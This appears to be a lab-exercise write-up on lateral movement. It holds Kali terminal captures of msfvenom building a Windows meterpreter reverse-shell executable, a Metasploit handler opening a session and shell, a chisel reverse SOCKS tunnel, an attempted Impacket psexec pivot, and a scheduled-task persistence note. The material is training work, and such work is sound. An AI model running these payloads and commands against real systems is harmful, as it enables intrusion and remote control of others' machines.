



4. Lateral Movement Exercise

Activities:

- **Tools:** Covenant, Impacket. (<https://github.com/cobbr/Covenant> [You can use any new alternatives])
- **Tasks:** Pivot between compromised hosts.

Payload

```
kali-linux-2025.2-vmware-amd64 - VMware Workstation
File Edit View VM Tabs Help
Home kali-linux-2025.2-vmware-amd64 Windows 8.x
root@kali:~$ msfvenom -h
msfvenom -h
msfvenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and mfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
  -l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
  -p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
  --list-options List --payload <value>'s standard, advanced and evasion options
  -f, --format <format> Output format (use --list formats to list)
  -e, --encoder <encoder> The encoder to use (use --list encoders to list)
  --service-name <value> The service name to use when generating a service binary
  --sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
  --smallest Generate the smallest possible payload using all available encoders
  --encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
  --encrypt-key <value> A key to be used for --encrypt
  --encrypt-iv <value> An initialization vector for --encrypt
  -a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
  --platform <platform> The platform for --payload (use --list platforms to list)
  -o, --out <path> Save the payload to a file
  -b, --bad-chars <list> Characters to avoid example: '\x00\xff'
  -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
  --pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepend a nopsled of quantity (nops minus payload length)
  -s, --space <length> The maximum size of the resulting payload
  --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
  -i, --iterations <count> The number of times to encode the payload
  -c, --add-code <path> Specify an additional win32 shellcode file to include
  -x, --template <path> Specify a custom executable file to use as a template
  -k, --keep Preserve the --template behaviour and inject the payload as a new thread
  -v, --var-name <value> Specify a custom variable name to use for certain output formats
  -t, --timeout <seconds> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
  -h, --help Show this message

(root@kali)~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.170 -f exe -o virus.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: virus.exe

(root@kali)~$
```

2



```
kali-linux-2025.2-vmware-amd64 - VMware Workstation
File Edit View VM Help
Home kali-linux-2025.2-vmware-amd64 Windows 8.x
root@kali: ~
File Actions Edit View Help
LHOST 192.168.0.164 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name
0 Wildcard Target

View the full module info with the info, or info -d command.

msf exploit(multi/handler) > exploit
[*] Handler failed to bind to 192.168.0.164/4444: -
[*] Handler failed to bind to 0.0.0.0/4444: -
[*] Exploit failed [send-config]: Rex::bindtrailed The address is already in use or unavailable: (0.0.0.0/4444).
[*] Exploit completed, but no session was created.
msf exploit(multi/handler) > [2] > killed msfconsole

msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.0.164/4444

[*] Sending stage (177714 bytes) to 192.168.0.178
[*] Meterpreter session 1 opened (192.168.0.164:4444 -> 192.168.0.178:43398) at 2025-09-02 04:37:22 -0400

meterpreter >
meterpreter >
meterpreter > shell
Process 1452 created.
Channel 1 created.
Microsoft Windows [Version 6.5.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\Varun Singh\Downloads>ping 192.168.0.164
ping 192.168.0.164

Pinging 192.168.0.164 with 32 bytes of data:
Reply from 192.168.0.164: bytes=32 time=2ms TTL=64
Reply from 192.168.0.164: bytes=32 time<1ms TTL=64
Reply from 192.168.0.164: bytes=32 time<1ms TTL=64
Reply from 192.168.0.164: bytes=32 time<1ms TTL=64

Ping statistics for 192.168.0.164:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 0ms, Maximum = 2ms, Average = 0ms

C:\Users\Varun Singh\Downloads>
```

```
kali-linux-2025.2-vmware-amd64 - VMware Workstation
File Edit View VM Help
Home kali-linux-2025.2-vmware-amd64 Windows 8.x
root@kali: ~
File Actions Edit View Help
[~(root@kali):~]
[*] chisel server -p 1081 --socks5 -reverse
2025/09/02 03:56:13 server: Reverse tunnelling enabled
2025/09/02 03:56:13 server: Fingerprint: 007f9pTm9Pcfcy9qSPM07EgWtYiK2S8Jq25Mub-
2025/09/02 03:56:13 server: Listening on http://0.0.0.0:1081
```



- **Brief:**
- **Pivoting:** Use Impacket's psexec.py for lateral movement. Summarize path in 50 words.

```
root@kali: ~/impacket
# proxychains python3 psexec.py
[proxychains] Config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
python3: can't open file '/root/.impacket/psexec.py': [Errno 2] No such file or directory
root@kali: ~/impacket
```

Summary

Using Impacket's psexec.py for lateral movement entails acquiring legitimate credentials or NTLM hashes, followed by SMB command execution on a distant Windows system.

This provides system-level access to a semi-interactive shell.

Understanding network security flaws and simulating attacker behavior are aided by repeating the procedure on several computers.



- Persistence: Add scheduled task for backdoor. Log:

Technique	Tactic	Description	Notes
-----	-----	-----	-----
Scheduled Task	Persistence	T1053	Runs payload daily

